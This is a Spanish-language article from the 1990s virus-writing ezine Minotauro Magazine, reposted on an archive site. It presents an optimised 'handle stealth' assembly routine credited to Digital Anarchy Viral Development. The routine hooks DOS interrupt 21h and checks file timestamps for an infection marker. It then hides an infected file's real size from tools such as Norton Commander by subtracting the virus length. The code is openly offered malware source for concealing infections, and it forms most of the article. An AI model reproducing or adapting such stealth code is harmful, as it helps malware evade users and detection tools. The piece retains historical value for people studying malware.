Copy Link
Add to Bookmark
Report

Minotauro Magazine Issue 05 03 (New) Handle Stealth Code Optimization - WMí

eZine's profile picture
Published in 
Minotauro Magazine
 · 3 years ago

  

Minotauro Magazine Issue #5

(New) Handle Stealth
Code Optimization - WM’

Bueno, en la Minotauro #4 vimos como hacer el handle stealth o Norton
Commander Stealth como le gusta poner a Drako ;).
Pero ete aqu¡ que se nos pas¢ una hermosa instrucci¢n que reduce el codigo
de la rutina en <MUCHOS> bytes.

La idea es que en vez de hacer todo ese desastre de toquetear el stack para
devolver correctamente los flags, directamente desapilemos del mismo stack
2 words nada mas, o sea desapilamos solamente CS:IP para volver a la rutina
que nos llam¢ y los flags que se pasan son los actuales sin necesidad de
tanto l¡o (ay, me puse en delicado. ;)).

Bueno, sin mas que decir (porque se que a uds. sanguijuelas les interesa
solo el c¢digo y ni leen para entender como funciona ;)) les dejo el c¢digo
del (New) Handle Stealth.
;---------------- Cut Here ------------------------------------------------


;==========================================================================
; (c) Digital Anarchy Viral Development
;==========================================================================
handle_stealth:
pushf ; (Pctools, Norton etc)
call cs:old21 ; dale int 21h..
jc handle_back ; puaj error!.

push ax bx es ; Guardamos Registros

mov ah,2fh ; pedimos DTA
int 21h

mov ax,es:[bx+16h] ; tomamos hora del file
and ax,1fh
xor al,1eh ; seg a 60?
jne handle_pops ; no, no esta infectado

sub word ptr es:[bx+1ah],virlen ; le restamos al filesize
sbb word ptr es:[bx+1ch],0 ; el tama¤o del virus

handle_pops: pop es bx ax ; Restauramos Registros

handle_back: retf 2 ; desapilamos CS:IP


;---------------- Cut Here ------------------------------------------------

Por WM’ [DAN]

← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT